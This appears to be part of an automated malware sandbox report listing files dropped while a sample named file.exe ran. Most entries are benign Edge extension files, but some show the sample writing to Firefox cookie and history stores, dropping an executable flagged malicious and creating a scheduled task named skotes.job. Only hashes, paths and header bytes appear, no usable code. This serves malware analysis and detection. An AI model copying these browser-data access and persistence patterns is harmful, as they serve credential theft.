C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\d6f92fee-7223-40cb-a0a2-c152a1aaae4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJKEHIIJJEC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3167744
Entropy (8bit):	6.616015119717629
Encrypted:	false
SSDEEP:	49152:vrm3X31TWerB5f+5RqbT4oOWLta35t8kkw:vrm3ZWIB5f+5Qnzza35tl
MD5:	E6B92405E74B69C11B84C463CE2EB30C
SHA1:	5A8E96778EA91A33F5117A026876FEB920696D12
SHA-256:	FE4D1648F6FD3CFA5FB29EAE4A7DA1E52F707DBACF5D128671C125DD6AE3E8F6
SHA-512:	0EF5FBEDB24CC47FF75034BA643111D96AD7DBD9BF6626033501F9C9FC4105E1E59BA4585A308F690CC98F4133E4838DA34E13C37712B87F7923D75265050167
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`0...........@...........................0.......0...@.................................W...k.......H....................G0..............................F0..................................................... . ............................@....rsrc...H...........................@....idata ............................@...ssoyctxs..).......).................@...dfcyajlh.....P0......00.............@....taggant.0...`0.."...40.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJKEHIIJJEC.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4396029193056954
Encrypted:	false
SSDEEP:	6:nMZtXUhXUEZ+lX1CGdKUe6tE9+AQy0lB1lqt0:MH4Q1CGAFD9+nVBvqt0
MD5:	B0DE4E32980EE6C30E669F8BB42863DE
SHA1:	8D48BCC869DC72368494B5EF8C49C2956243F164
SHA-256:	7DF90843FF68CF6DF69C7738FD0735CE2522951006F1A46542852C2AFB73BD84
SHA-512:	F32E47CB12617BF564092C97ADE0B6F2FFD09EB25955C5D61974E7769354499C530CC5E05E437CE817697A3464676DFD9BA25FBD671448833FC3F9DBEC7F6445
Malicious:	false
